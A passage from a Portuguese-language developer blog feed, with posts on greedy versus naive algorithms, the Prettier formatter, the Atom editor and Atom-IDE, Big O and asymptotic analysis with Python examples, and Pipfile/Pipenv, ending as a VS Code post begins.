Em uma abordagem naive, não estamos necessariamente tentando resolver cada passo com a melhor opção possível, e sim tentando resolver o todo de maneira ingênua, sem nenhuma estrutura de dados rebuscada ou cálculo preparatório, e sem se preocupar com a performance do algoritmo em si.

Naive vs. Brute-force vs. Greedy

Uma maneira mais interessante de compreender como escrevemos um algoritmo com essas diferentes práticas é através do Knapsack Problem. Nesse famoso problema temos um conjunto de itens, cada qual com seu determinado peso e valor, e temos por desafio colocar o maior valor possível dentro de uma mochila com um determinado limite de peso.

Um exemplo do método naive seria pegarmos os itens mais leves e colocarmos na bolsa até não haver mais espaço;
Com brute-force, testaríamos todas as combinações de itens até chegar ao valor máximo para o limite de peso da bolsa;
Já com o paradigma greedy, por intuição, pegaríamos primeiro os itens mais valiosos, até atingirmos o peso total da bolsa.

Todas as três formas chegam a um resultado. É possível afirmar que a primeira e última opção terão performance semelhantes, mas não necessariamente chegarão a um resultado ótimo. Encontrar o melhor resultado através da forma bruta, nesse problema, não é a melhor solução.

Qual o melhor uso de greedy algorithms?

Segundo o Brilliant.org, se as propriedades abaixo forem verdadeiras, pode-se aplicar a abordagem greedy para resolução do problema:

Uma solução global ótima pode ser atingida ao escolher a opção ótima de cada passo;
Um problema tem uma subestrutura ótima se uma solução ótima para o problema global conter as soluções ótimas para os sub-problemas.

Em outras palavras:

(...) greedy algorithms work on problems for which it is true that, at every step, there is a choice that is optimal for the problem up to that step, and after the last step, the algorithm produces the optimal solution of the complete problem.

Algoritmos como Huffman Code e Dijkstra's Shortest Path são greedy algorithms famosos que cumprem muito bem o seu papel. O GeeksforGeeks lista uma porção de outros algoritmos e problemas que utilizam o paradigma com sucesso. Um muito comum em entrevistas de emprego é o Minimum Swaps for Bracket Balancing.

Considerações finais

Compreendendo a diferença entre um greedy e um naive algorithm, fica mais fácil entender quando utilizar uma técnica ou outra. Uma abordagem ingênua funciona bem quando estamos começando a construir o algoritmo que solucionará um problema. De forma iterativa podemos melhorá-lo, até chegar aos valores de performance desejados.

Uma abordagem greedy pode trazer resultados satisfatórios para a sua solução, mas nem sempre trará o melhor resultado. Caso as propriedades listadas acima se apliquem ao algoritmo que você procura, sem dúvida nenhuma é uma técnica que, além de lhe ajudar a escrever um solução mais intuitiva, te trará os resultados esperados.

Se você ficou curioso sobre como resolver o Knapsack Problem de forma ótima, há a opção de utilizar Dynamic Programming, outro paradigma que tem certa semelhança com greedy algorithms, e que vamos falar sobre em outro post. Uma alternativa mais simples e intuitiva (e greedy) é criar uma terceira variável que armazene peso / valor e utilize esse valor no processo de ordenação (exemplo).

Até a próxima.

Referências

Deixe darem pitaco no seu código com Prettier

Sat, 12 Jan 2019 10:55:00 GMT

Code formatters são uma boa ideia. Acredite! Demorei a dar o braço a torcer, mas depois de alguns "Hello world" em Go admito que a ideia de ter um código bem formatado, sem necessitar da destreza do programador para isso, é uma ideia excelente.

Em Go temos o go fmt, que poupa um tempo absurdo tornando o seu código "go-like" com pouco esforço. Já para Javascript, temos o Prettier. E é sobre ele que falaremos nesse artigo.

Mais bonito

O Prettier é um code formatter livre (MIT) e de código aberto, que tem por finalidade "forçar" um padrão de código. Ele realiza isso analisando o seu código e alterando-o de acordo com regras pré-definidas.

Todos nós temos algum vício na forma como escrevemos nosso código. A ideia de ferramentas como o Prettier é fazer com que todos os integrantes de um projeto tenham um estilo comum de escrita. Tornando a leitura do código consistente, não importando o seu autor (ou editor).

Prettier é como trabalhar para o Sr. Bennett, de The Ranch. Na dúvida, você está errado (heighline)

Com "estilo comum de escrita" não estamos falando necessariamente de qualidade de código. Por exemplo, o Prettier não está preocupado com variáveis sendo usadas antes de serem declaradas. Para isso existe os linters, e no caso do Javascript o ESLint é (provavelmente) a opção mais famosa. Por outro lado, ele estará preocupado com a quantidade de espaços em branco, quantidade de caracteres por linha, uso de vírgulas, etc. Tópicos que geralmente demandam energia durante um code review.

E talvez esse seja o ponto marcante por trás do Prettier. Diretamente da página que fala sobre a filosofia da ferramenta:

By far the biggest reason for adopting Prettier is to stop all the on-going debates over styles.

Na prática

A ferramenta é escrita em Node.js, portanto, um npm install é o suficiente para tê-la em seu ambiente:

$ npm install --global prettier

A documentação da ferramenta sugere "pinnar" a versão exata no package.json do seu projeto, uma vez que diferentes versões podem ter diferentes sugestões de escrita.

Com o utilitário de linha de comando, basta executarmos passando o arquivo JS desejado como parâmetro:

$ prettier file.js

function HelloWorld({
    greeting = "hello",
    greeted = '"World"',
    silent = false,
onMouseOver
}) {
    if (!greeting) {
        return null;
    }

    // TODO: Don't use random in render
    let num = Math.floor(Math.random() * 1e7)
        .toString()
        .replace(/\.\d+/gi, "");

    return (
        <div
        className="HelloWorld"
        title={`You are visitor number ${num}`}
        onMouseOver={onMouseOver}
        >
        <strong>
            {greeting.slice(0, 1).toUpperCase() + greeting.slice(1).toLowerCase()}
        </strong>
        {greeting.endsWith(",") ? (
            " "
        ) : (
            <span style={{ color: "grey" }}>", "</span>
        )}
        <em>{greeted}</em>
        {silent ? "." : "!"}
        </div>
    );
}

O output é o conteúdo do seu arquivo já formatado. Se quiser a alteração "in-place", temos a opção --write disponível.

É possível customizar a ferramenta de acordo com as suas escolhas passando argumentos durante sua chamada. No exemplo abaixo, queremos formatar o arquivo file.js sem semicolons no final das linhas, e com single quotes ao invés de double quotes:

$ prettier --no-semi --single-quote file.js

O mais recomendado é a criação de um arquivo de configuração (geralmente chamado de .prettierrc), com todas a regras explícitas:

{
  "trailingComma": "es5",
  "tabWidth": 4,
  "semi": false,
  "singleQuote": true
}

Na prática (de verdade)

É inviável ir na linha de comando e executar a ferramenta toda a vez que você alterar o seu código. Uma opção mais eficiente é deixar com que o seu editor ou IDE tome conta desse processo.

Os principais editores do mercado possuem suporte ao Prettier, como pode ser visto em Editor Integration. Para o Vim, recomendo o uso com o plugin Ale.

É esperado que nem todo membro do seu projeto configurará o editor apropriadamente na primeira interação. Portanto, uma "salvaguarda" pode ser habilitar um pre-commit hook. Com isso, ao executar git add, o Prettier será executado automaticamente nos arquivos alterados pelo desenvolvedor. O capítulo Pre-commit Hook da documentação oficial dá várias sugestões de uso. Para esse caso, simpatizo bastante com o pre-commit.

ESLint vs Prettier? ESLint + Prettier!

Sabe o que é melhor que usar o Prettier? É usar o Prettier integrado com as regras que você já conhece do ESlint. Obviamente que executar os dois em paralelo pode resultar em comportamentos inesperados. Existe inúmeros tutoriais na internet recomendando como fazer essas duas ferramentas funcionarem em conjunto.

Recomendo o Integrating Prettier + ESLint + Airbnb Style Guide in VSCode, do Echobind.

Considerações finais

Não perca tempo tentando controlar "na conversa" o estilo de código do seu time ou projeto. Já passei por isso e não compensa o estresse e tempo investido. Adote uma ferramenta como o Prettier, e reserve tempo e energia para coisas mais importantes, relacionados ao seu negócio ou produto.

Até a próxima.

Referências

Atom: O simpático editor do GitHub

Thu, 27 Dec 2018 18:35:00 GMT

Tenho "peregrinado" por diferentes editores e IDEs nesses últimos meses. Além do Vim, algumas "desventuras" com IntelliJ IDEA, e uma surpreendente experiência com o VS Code, tive a oportunidade de testar uma alternativa que sempre me deixou intrigado: O Atom

Embora notícias recentes em relação ao editor sejam "preocupantes", o veredicto é o melhor possível. Recomendo desde já o uso, e abaixo dou mais detalhes sobre essa minha conclusão.

O que é?

Atom é um editor de textos, gratuito e de código aberto (MIT), construído em Electron (portanto, multiplataforma) e mantido pelo GitHub.

O editor ganha vida através de Javascript/CoffeeScript e Less, e com essas mesmas tecnologias é possível estendê-lo de maneira impressionante. Aliás, o processo de customização é muito bem documentado, no Atom Flight Manual, e escrever seus próprios plugins tem uma curva de aprendizado mínima se você já trabalhar com desenvolvimento web.

Por padrão o Atom oferece syntax highlighting para uma grande gama de linguagens, além de outros utilitários, como fuzzy finder, tree view, corretor ortográfico, e um simples auto-complete.

O que há de bom?

Gosto muito do visual do Atom. Na minha opinião, é um dos editores mais bonitos disponíveis por aí. As fontes, cores (muito graças aos temas incríveis) e ícones são renderizados de forma suave, e o "conforto visual" não pode deixar de ser mencionado.

Não tive criatividade para fazer uma referência melhor (collider.com)

Por vir com uma configuração mais "básica" por default, o editor é muito simples de usar. Sem requerer funções avançadas (comuns em IDEs, como auto-complete, debugging e go to definition), basta abrí-lo e começar a escrever código. Sem dúvida ele apresenta uma interface mais amigável que outras opções no mercado.

Como não há almoço grátis, o Atom leva a fama de ser mais lento que opções como VS Code e Vim. E embora o time de desenvolvedores tenha trabalhado nessa questão, é possível notar os "soluços" do editor em algumas ocasiões.

A integração com Git (e obviamente GitHub) é bem interessante, e pode ajudar bastante quem não tem intimidade com a linha de comando. E um extra bacana é o Teletype: Pacote que vem com a distribuição padrão e que permite desenvolvedores colaborarem em real time com o código aberto no editor.

Por falar em pacotes e extensões, talvez esse seja o ponto mais alto do editor.

Dentre eles vale mencionar o vim-mode-plus e o ex-mode. Estes trazem os key bindings do Vim para o Atom. Eles funcionam extremamente bem e é a "experiência Vim-like" mais eficiente que já experimentei.

Configurar um set de plugins para as suas linguagens favoritas pode ser maçante e error prone. O VS Code resolveu isso através de "plugins agregadores" que acabam instalando e configurando uma série de outros plugins menores para você. No Atom, o Atom-IDE se destaca nesse quesito.

Atom-IDE

O Atom-IDE é uma coletânea de plugins e funcionalidades que trazem características comuns em IDEs para o Atom.

Atom-IDE UI

Em uma colaboração entre Facebook e GitHub, tornou-se possível ter um auto-complete mais rico, outline view, go to definition, find all references, diagnosis, debugging, document formatting, entre outras features que você está acostumado a ver em ferramentas como Netbeans ou Eclipse.

A boa notícia é que existe uma grande quantidade de plugins que dão suporte a diferentes linguagens. Por exemplo, recentemente testei o ide-elixir e foi uma experiência muito boa.

Mas é claro que tem a má notícia...

Facebook deixa de dar suporte

Diretamente do Blog do Atom:

A few years ago, Facebook introduced Nuclide to provide a first-class IDE experience which included associated repos such as Atom IDE. Both Nuclide and Atom IDE were developed by Facebook and supported by an open source community. At this time, Facebook has decided to retire their open source efforts on Nuclide, the Atom IDE, and other associated repos. All of the source code will remain available in the Facebook Open Source Archives, and, if you’re interested, we encourage you to check it out and continue to build on top of it.

Na prática não há motivos para pânico. Os plugins que estendem o Atom-IDE para suportar diferentes linguagens são mantidos por diferentes pessoas da comunidade. O Facebook "arquivou" os repositórios do Atom-IDE e Nuclide, mas seu código continua disponível. O framework que foi montado até aqui deve continuar funcionando sem maiores problemas. Possíveis melhorias e correções dependerão de contribuições da comunidade. É esperar para ver se algum grande player ficará responsável por coordenar esse esforço.

Mas com a compra do GitHub pela Microsoft, o VS Code (da mesma Microsoft) ganhando cada vez mais usuários, e esse anúncio do time Nuclide, fica difícil não ficar com a pulga atrás da orelha.

Atom-IDE + Python

O ide-python é o plugin para Atom-IDE que adiciona suporte à linguagem Python ao editor.

Atom-IDE com Python

Assim como outros plugins dependentes do mesmo framework, ele utiliza Language Server Protocol para habilitar recursos como completion e refactoring. No caso do Python, isso é possível através do python-language-server. Logo, o primeiro passo é instalar a dependência em sua máquina:

$ pip install python-language-server[all]

Com o [all], você terá disponível completions e renaming (através do Rope), linter e style checking (através do Pyflakes, McCabe, pycodestyle e pydocstyle) e code formatting (através de autopep8 ou YAPF).

Na sequência, basta instalar os plugins do Atom:

$ apm install atom-ide-ui
$ apm install ide-python

Pronto! Você já pode começar a usar o Atom-IDE para escrever código Python.

Mas para deixar o seu ambiente ótimo, sugiro a instalação do atom-management. Com ele, você poderá configurar o Python de acordo com o virtualenv de cada projeto que esteja trabalhando:

$ apm install atomic-management

Agora basta criar o arquivo de configuração para cada projeto. Aqui está um exemplo:

"*":
  "ide-python":
    pylsPlugins:
      autopep8:
        enabled: false
      yapf:
        enabled: false
    python: "/Users/klaus/.local/share/virtualenvs/yatla-kWU5r6Dm/bin/python"

Acima, eu propositalmente desligo o autopep8 e yapf, uma vez que para este projeto eu estou utilizando Black. Já na chave python, eu explicitamente digo qual instalação do Python pretendo utilizar.

Considerações finais

Reforço a opinião do começo desse post: Recomendo.

É um editor muito amigável e confortável de usar. Os key bidings do Vim são um plus, e além disso a documentação para criação de plugins e configurações diversas é impressionante. O fato de não se render à componentização é outro fator positivo, assim como a riqueza de pacotes e a grande comunidade em sua volta.

Mas se você é um developer que gosta de seguir o hype, eu diria que o Visual Studio Code é uma opção mais atraente. Na dúvida, teste os dois e nos conte suas conclusões nos comentários abaixo.

Até a próxima.

Referências

Algoritmos: Como medir?

Sun, 09 Dec 2018 21:30:00 GMT

No post anterior, introduzimos o conceito de Análise Assintótica e falamos brevemente sobre o Big O Notation. Nesse post, vamos pincelar sobre como mensurar um algoritmo utilizando a notação.

Mas antes de mais nada é preciso reforçar: O Big O é apenas uma das métricas (número de passos proporcional ao tamanho do seu input) que pode te levar à conclusão de que o seu algoritmo é eficiente ou não. Em momento de implementação, outras métricas como memória, tempo, acesso a recursos e consumo de energia podem impactar nesse resultado.

Para tanto, é comum termos duas formas distintas de análise:

Empírica: Tempo de execução do código, implementado na linguagem de programação de sua escolha.
Analítica: Não leva em consideração o ambiente no qual o seu algoritmo irá executar, representando através de uma ordem de grandeza o tempo de execução do algoritmo.

Vamos focar no método analítico, claro. Se você está interessado no método empírico, ferramentas de profiling podem te dar ótimas dicas sobre a performance da sua solução.

Tempo x Espaço

É possível utilizar o Big O para medirmos quanto de espaço que um determinado algoritmo ocupa. Na Wikipedia existe inúmeros wikis sobre algoritmos famosos, e grande parte deles apresenta a seguinte estrutura:

Exemplo de card do Wikipedia mostrando os tempos de um algoritmo (wikipedia)

O Merge sort, um dos mais famosos algoritmos de ordenação, além de ter uma performance média de O (n log n), em seu pior cenário ocupa O(n) de espaço. Onde n corresponde ao tamanho da entrada do algoritmo. Logo, se você passar um array de 10 posições para o Merge sort ordenar, ele ocupará outras 10 posições ao fim do processo.

Em contrapartida, o Bubble sort, também famoso mas nada performático (O(n²)), ocupa O(1) (não necessitando de novas posições na memória para fazer a ordenação).

Se você estiver projetando a sua solução para um ambiente limitado, será necessário levar em consideração o espaço, mas é muito comum nos tempos atuais sacrificarmos memória em prol do tempo de execução.

Quanto mais próximo de linear, melhor

Voltando o foco ao tempo de execução, é possível categorizarmos um bom algoritmo quando ele é o mais próximo possível de linear (se ele for sublinear ou constante, melhor ainda). Ou seja:

Se ordernar 10 items leva 1 milissegundo;
Ordenar 20 items deveria levar 2 milissegundos;
E ordenar 100 items deveria levar 10 milissegundos.

Esse comportamento é linear, resultando em O(n). Mas o comportamento abaixo não é o dos melhores:

Se ordenar 10 items leva 1 milissegundo;
E ordenar 20 items leva 4 milissegundos;
E ordenar 100 items leva 100 milissegundos;
Temos uma progressão quadrática, resultando em O(n²).

Algo não tão desejável em se tratando de algoritmos.

Mais um pouquinho de teoria

Vamos gastar um pouco de teoria aqui para definir Big O:

Se um tempo de execução é O(f(n)), então para um n suficientemente grande, o tempo de execução é no máximo k*f(n) para alguma constante k.

f(n) e Big O (khanacademy.org)

Dizemos que o tempo de execução é big-O de f(n) ou só O de f(n). Com isso informamos limites assintóticos superiores, ou seja, que no pior cenário o tempo de execução cresce de uma maneira até atingir determinado limite, mas poderia crescer mais devagar. Não podemos desconsiderar que o input tem que ser suficientemente grande (repare na linha pontilhada). Não é incomum vermos algoritmos que performem em O(n log n) tendo um desempenho ruim com um conjunto de dados pequeno.

Agora sim! Vamos contar

Complexidade constante: O(1)

Queremos calcular qual é a complexidade de um algoritmo de troca de valores:

def swap(num1, num2):
    temp_num = num1
    num1 = num2
    num2 = temp_num

Podemos, em teoria, contar cada atribuição de valor executada pelo algoritmo como um “passo”. Teríamos complexidade = 3, e esse resultado nunca mudará, não importa qual valor que passe de entrada. Logo, é possível dizer que a complexidade desse algoritmo é constante, representada por O(1).

Em um piscar de olhos, você estará rabiscando algoritmos nas janelas da sua casa (blogossus.com)

Pode parecer confuso não utilizar O(3), mas seguindo a definição matemática apresentada anteriormente, quando eu assumo que meu algoritmo tem complexidade O(1), estou dizendo que o seu limite assintótico superior é menor ou igual a k * f(n). Se considerarmos o k como constante representando a quantidade de atribuições do nosso algoritmo (3) e f(n) como o running time (1), temos como upper bound o valor 3.

Em outras palavras: Se o tempo de execução do seu algoritmo é constante, a maneira ideal de representá-lo é através de O(1).

Complexidade linear: O(n)

Quando a entrada do algoritmo é variável em tamanho, temos um comportamento diferente:

def soma(array):
    total = 0
    for num in array:
        total = total + num

Geralmente quando temos algum loop, e ele está ligado ao input, dificilmente chegamos a um algoritmo de complexidade constante. No caso acima, podemos contar os passos da seguinte forma:

n = tamanho(array)
total = 0: 1 operação
atribuição de valor a num: n operações
total = total + num: n * 2 operações

Para cada elemento do array, executaremos uma soma (total + num) e uma atribuição (total = <resultado>). Chegamos à conclusão que complexidade = 1 + (n * 2). Mas como chegamos a O(n)?

Deixando a parte matemática de lado, quando trata-se de análise assintótica, estamos mais interessados no que realmente interfere na performance do algoritmo. Ou seja, os valores constantes (1 e 2) nessa análise são detalhes se comparados ao impacto que n causa ao tempo de execução. Portanto, uma das maneiras de encarar a mensuração do Big O é simplesmente ignorando as constantes e focando no que é dinâmico, nos levando a complexidade = n e em consequência ao O(n).

Considerações finais

E como num passe de mágica, depois de certa intimidade com o Big O Notation, você passa a assumir a complexidade de um algoritmo com uma breve “olhadela”. Ao ver um loop assume que é n, ao ver loop dentro de loop, que é n², e assim por diante…

Nos próximos posts vamos explorar algoritmos de diferentes complexidades, entrando em detalhes para entender os seus tempos de execução e alternativas otimizadas.

Até a próxima!

Esse post foi originalmente escrito para o Profissionais TI.

Referências

Análise assintótica

Fri, 09 Nov 2018 16:34:00 GMT

Devo confessar que durante a minha graduação, nunca prestei muita atenção na parte mais “teórica” da computação. O que eu queria era sentar e “codar”, sem realmente me preocupar com algoritmos, estruturas de dados, ou com os impactos que a minha solução ocasionaria em um determinado ambiente.

Com a idade vem a experiência, e com a experiência vem a necessidade de estressar diferentes pontos de vista antes de adotar solução X ou Y. Foi a partir dessa necessidade que fui obrigado a revisitar alguns conceitos básicos da Ciência da Computação, e fatalmente me senti motivado a compilar esse conhecimento em uma série de artigos.

Se você, assim como eu, deu aquela dormida nas aulas de Teoria da Complexidade Computacional, junte-se a mim e vamos relembrar esses conceitos juntos.

Algoritmos e tempos de execução

Segundo o Wikipedia, um Algoritmo é:

(…) uma sequência finita de instruções bem definidas e não ambíguas, cada uma das quais devendo ser executadas mecânica ou eletronicamente em um intervalo de tempo finito e com uma quantidade de esforço finita.

A sua aplicação pode ser composta por uma porção de algoritmos, cada um destinado a um fim muito específico. Por exemplo, você pode ter um algoritmo responsável por encontrar todos os pedidos vendidos no último mês, que contenham um determinado produto. Com o advento do Big Data, inúmeros algoritmos são postos em prática para mineração e análise de dados, então, mesmo que exista uma aplicação ou serviço resolvendo esses problemas para você, acredite... os algoritmos estarão lá.

Um determinado algoritmo pode ter tempos de execução relativamente diferentes de acordo com o ambiente no qual ele esteja rodando. Se for num computador Core i7 e 16GB de RAM, é possível assumirmos que ele rodará consideravelmente melhor do que se estivesse operando em um Raspberry Pi, por exemplo. Ainda há um segundo cenário onde, talvez você tenha escrito o algoritmo perfeito em Python ou Ruby, mas ele corre o risco de executar de forma mais lenta que um algoritmo em Assembly ou C.

Partindo da premissa que um bom algoritmo é um conjunto de operações que resolvem um problema em tempo e esforço atrativos, como podemos classificar se um algoritmo é “rápido” ou não?

É aí que entra a análise assintótica.

A Análise Assintótica

Segundo o Wikibooks, a análise assintótica é:

(…) a way of expressing the main component of the cost of an algorithm, using idealized (not comparable) units of computational work.

Em termos mais práticos, é uma forma de julgarmos se o nosso algoritmo é eficiente, independente dos “recursos que o cercam” (como velocidade de processamento, quantidade de memória, latência de rede, etc).

Removendo todas as variáveis que podem influenciar no tempo de execução, focamos nossas atenções em como o algoritmo está escrito, em qual é a sua entrada, e se “ele por si” é a maneira mais eficiente para a resolução de um determinado problema.

Vale reforçar que a entrada é um fator de extrema importância no que tange a análise assintótica. A análise é “input bound”, ou seja, a entrada influenciará diretamente no resultado do estudo. Por exemplo, quando ordenamos um vetor de tamanho n, utilizando o algoritmo Selection Sort, teremos um tempo de execução de n² (já que o algoritmo pega um número, e compara com os demais números no vetor, repetindo essa operação até chegar ao fim do dado estruturado).

Ao fim da análise, podemos chegar a 2 conclusões diferentes: Melhor cenário e pior cenário.

Big O, Big Omega e Big Theta

Quem trabalha com desenvolvimento (ou até mesmo com computação num geral), já deve ter ouvido falar sobre o famigerado Big O Notation. Ele é uma notação assintótica muito famosa na análise de tempos de execução de algoritmos. O que pode ser uma surpresa é que ele não é a única notação que temos disponível:

O(n): Expressa o limite superior do tempo de execução de um algoritmo (pior cenário);
Ω(n): Expressa o limite inferior do tempo de execução de um algoritmo (melhor cenário);
Θ(n): Expressa limite superior e inferior do tempo de execução de um algoritmo (pior e melhor cenário).

Além da expressão linear, temos outras notações que descrevem diferentes tempos de execução:

O(1): Constante
O(log n): Logarítmica
O(n): Linear
O(n log n): “Linearithmic” (maior que linear, menor que quadrática)
O(n²): Quadrática
O(n³): Cúbica
n^O(1): Polinomial
2^O(n): Exponencial

De maneira simplista, n pode ser considerado como o número de operações que o algoritmo leva para chegar ao seu final. n está intimamente ligado com a entrada do seu algoritmo, onde quanto maior for o seu número, maior será o seu tempo de execução.

E como fazemos para contar o número de operações realizadas por um algoritmo?

Um pouquinho de prática

Voltando a citar o Selection Sort, que trata-se de um “greedy algorithm” para ordenação de números em um vetor, temos a seguinte sequencia de operações:

for i from 1 to n-1 {
   Encontre um elemento menor que a i-ésima posição, entre as n entradas.
   Troque o elemento encontrado com a i-ésima entrada.
}

Fazendo um pequeno teste de mesa, com o vetor (9, 2, 5, 7, 4, 8), temos o seguinte conjunto de procedimentos:

[9, 2, 5, 7, 4, 8]:
- i=1;
- Encontre o menor número entre posições 1 e 6;
- Troque array[i] com array[2].
[2, 9, 5, 7, 4, 8]:
- i=2;
- Encontre o menor número entre posições 2 e 6;
- Troque array[i] com array[5].
[2, 4, 5, 7, 9, 8]:
- i=3;
- Encontre o menor número entre posições 3 e 6;
- Troque array[i] com array[3].
[2, 4, 5, 7, 9, 8]:
- i=4;
- Encontre o menor número entre posições 4 e 6;
- Troque array[i] com array[4].
[2, 4, 5, 7, 9, 8]:
- i=5;
- Encontre o menor número entre posições 5 e 6;
- Troque array[i] com array[5].
[2, 4, 5, 7, 8, 9]:
- i=6;
- Fim do laço.

Podemos separar a análise em 3 grupos:

Tempo de execução para encontrar o menor elemento
Tempo de execução para trocar de elemento
Tempo de execução do laço

Embora seja possível fazer uma análise detalhada, levando em consideração o número de passos dentro de uma operação de swap de valores, e a aritmética envolvendo as n-i-1 chamadas que ocorrem dentro da função “Encontre o menor número entre posições”, para fins didáticos vamos adotar uma abordagem superficial.

Selecionar o menor elemento no array e fazer o swap para a primeira posição requer passar por todos os n-1 elementos. Encontrar o próximo menor elemento requer analisar os n-1 elementos restantes. Com dois for aninhados, executando em ordem n, já podemos esperar uma execução em O(n²). É possível usar a progressão aritmética para comprovar essa hipótese:

(n − 1) + (n − 2) + ... + 2 + 1 = n(n - 1) / 2 ∈ Θ(n²)

Se revisarmos o algoritmo apresentado, é possível reparar que o Selection Sort tem no seu melhor e pior cenário o tempo de execução de n², logo, podendo ser classificado como Θ(n²).

Nos próximos posts vamos nos aprofundar um pouco mais nos detalhes dessa análise, e passar por alguns algoritmos úteis e muito comuns na nossa rotina.

Até a próxima!

Esse post foi originalmente escrito para o Profissionais TI.

Referências

Tchau, requirements. Olá, Pipfile!

Mon, 11 Jun 2018 16:40:00 GMT

Admito que no começo fui cético em relação ao Pipfile. Pode ser a idade, mas questionei a real necessidade do mesmo. Para mim era muito óbvio! Eu já tinha o pip, o virtualenv e até mesmo o pyenv. Hoje, após ler alguns artigos e debater com alguns colegas, fico até envergonhado de não ter visto o potencial da ferramenta no seu primeiro momento.

Se você está na dúvida, assim como eu estive, vem comigo que te mostro as principais vantagens do Pipfile (e do Pipenv).

O que há de errado com o requirements.txt?

Esse foi o meu "turning point" em relação ao Pipfile. E foi o @rcmachado quem respondeu essa pergunta:

O build não é determinístico.

Vamos supor que estamos desenvolvendo um projeto em Django. Instalamos via pip install Django, e jogamos a dependência no requirements.txt:

# requirements.txt

Django

Como você garante que a mesma versão do Django está instalada nos diferentes ambientes do projeto (dev, qa, staging, production, etc)? Da forma acima, você não garante. O pip instalará a última versão do pacote disponível no PyPI.

Para minimizar esse problema, podemos "pinar" a versão do Django:

# requirements.txt

Django==2.0.6

Agora garantimos a versão do framework em todos os ambientes do projeto. Sabemos que o Django tem uma dependência, o pytz, o que acontece com ela?

Bem... se o framework estabelecer exatamente qual versão da dependência ele utiliza, não será um problema. Mas nem sempre isso acontece:

# django/setup.py

(...)

setup(
    (...)
    install_requires=['pytz'],
    (...)
)

(...)

Para garantir que a mesma versão do pytz está sendo instalada nos diferentes ambientes do projeto, podemos "pinar" a sua versão no requirements.txt:

# requirements.txt

Django==2.0.6
pytz==2018.4

E por fim, adicionar um --no-deps ao comando pip, assim ele se manterá fiel às dependências descritas no requirements.txt:

$ pip install -r requirements.txt --no-deps

Note que você virou responsável por uma função que deveria ser desempenhada pelo package manager. Com o passar do tempo, esse tipo de gestão passa a ser árdua e suscetível a erros.

Pipfile to the rescue

Segundo o repositório oficial, o Pipfile é:

(...) a replacement for the existing standard pip's requirements.txt file.

Como esperado, o padrão traz melhorias em relação ao requirements.txt. O já citado "ambientes determinísticos" é alcançado através do Pipfile.lock, um conceito usado em gerenciadores de pacotes de outras linguagens, como Bundler, Cargo ou Yarn, onde as versões das dependências são "congeladas", garantindo que você obtenha o mesmo resultado em qualquer ambiente, e executando quantas vezes quiser.

Outra vantagem é o uso de um único arquivo para diferentes ambientes. Com o uso de requirements, geralmente acabamos com um arquivo de texto específico para cada ambiente:

# requirements.txt

Django

Mais um para dependências exclusivas do ambiente de desenvolvimento:

# requirements-dev.txt

-r requirements.txt

django-debug-toolbar
pytest

Com o Pipfile, é possível utilizar o mesmo arquivo:

# Pipfile

[[source]]
url = "https://pypi.org/simple"
verify_ssl = true
name = "pypi"

[dev-packages]
pytest = "*"

[packages]
Django = "*"

[requires]
python_version = "3.6"

Pipfile != Pipenv

Grande parte dos artigos que lí sobre Pipfile começavam com algum comando como o abaixo:

$ pipenv install django

Uma coisa que tem que ficar clara é: O Pipenv está para o pip, assim como o Pipfile está para o requirements.

Pipenv é tipo a faca do Rambo. Resolve qualquer parada (mann.tv)

Até o momento da publicação desse artigo, o pip não suporta o formato do Pipfile (ou pelo menos a versão que tenho instalada aqui). Portanto, a maneira mais conveniente de utilizar o Pipfile hoje é através do utilitário de linha de comando pipenv.

Segundo o repositório oficial, o Pipenv é:

(...) a tool that aims to bring the best of all packaging worlds (bundler, composer, npm, cargo, yarn, etc.) to the Python world. Windows is a first–class citizen, in our world.

Através do parsing do Pipfile, a ferramenta resolve dependências do projeto (através dos parâmetros install, uninstall ou update), exibe a árvore de dependências (através do parâmetro graph) e analisa as mesmas (através do check). Mas além de atuar como um gerenciador de pacotes, o Pipenv tem uma funcionalidade fantástica: Cria e gerencia virtualenvs de forma automática.

Virtualização out of the box

Já escrevi sobre virtualização com virtualenv e pyenv. Com o Pipenv, a coisa fica significativamente mais simples.

Ao executar o comando pipenv install, por exemplo, a ferramenta automaticamente criará um virtualenv (caso não exista) para o projeto no qual você está trabalhando. Por exemplo:

$ mkdir -p ~/workspace/test-pipenv
$ cd ~/workspace/test-pipenv/
$ pipenv install django

Creating a virtualenv for this project…
Using /home/klaus/.pyenv/versions/2.7.14/bin/python2.7 (2.7.14) to create virtualenv…

Caso você esteja curioso para saber aonde o seu virtualenv foi parar, o comando abaixo pode ajudar:

$ pipenv --venv

/home/klaus/.local/share/virtualenvs/test-pipenv-BzNa0eOE

Mas você não precisa se preocupar em saber onde o activate.sh está. Para ativar o virtualenv criado, o parâmetro shell é a melhor saída:

$ pipenv shell

Spawning environment shell (/bin/zsh). Use 'exit' to leave.
. /home/klaus/.local/share/virtualenvs/test-pipenv-BzNa0eOE/bin/activate

Frustrado com o Python 2.7? Sem problemas! Vamos transformar o projeto em Python 3:

$ pipenv install --three

O comando criará um novo virtualenv, dessa vez com a versão mais recente da linguagem. Não esqueça de atualizar o python_version do Pipfile.

Considerações finais

Com o Heroku adotando Pipfile, me senti mais motivado a migrar alguns projetos para o padrão.

Como resultado, tenho simplificado a stack dos mesmos. Antes, eu gerenciava os ambientes virtuais com um mix de virtualenvwrapper e pyenv. Hoje, com apenas um utilitário de linha de comando, sou capaz de gerenciar dependências e virtualização. Além disso, acredito que o setup de um projeto Python fique mais homogêneo, uma vez que não há necessidade de um combo pip + {virtualenv,virtualenvwrapper,pyenv}.

Até a próxima.

Referências

Eu me rendo: VS Code

Mon, 04 Jun 2018 16:30:00 GMT

É, caro leitor... chegou o dia de admitir que tenho usado outro editor além do Vim. Pode me julgar, me chamar de "poser" ou de "vendido", mas acontece que tenho descoberto no VS Code, da Microsoft, uma excelente ferramenta para desenvolvimento web.

Piadas à parte, ainda acho o Vim uma ferramenta fantástica. Mas também reconheço que há uma curva de aprendizagem, e que montar um set de plugins para um determinado ambiente de desenvolvimento pode ser uma tarefa maçante (sim, eu estou olhando para você, python-mode). Nisso, tenho que reconhecer que o Visual Studio Code faz um trabalho primoroso.

Motivação

Tenho "advogado" contra o uso de IDEs desde 2009. De lá para cá, geralmente trabalhei com ambientes relativamente fáceis de lidar, como Javascript, PHP e Python. Essa opinião mudou a partir do momento que comecei a desenvolver para Android. Não digo que usar editores de texto (como o Vim ou Emacs) para desenvolver Java/Android seja impossível, mas (IMO) beira o masoquismo. Com o Android Studio, por exemplo, muitas barreiras de setup de ambiente são derrubadas pela ferramenta, aumentando produtividade e diminuindo o tempo necessário para ter a sua solução funcionando no dispositivo do seu usuário.

IDE pero no mucho

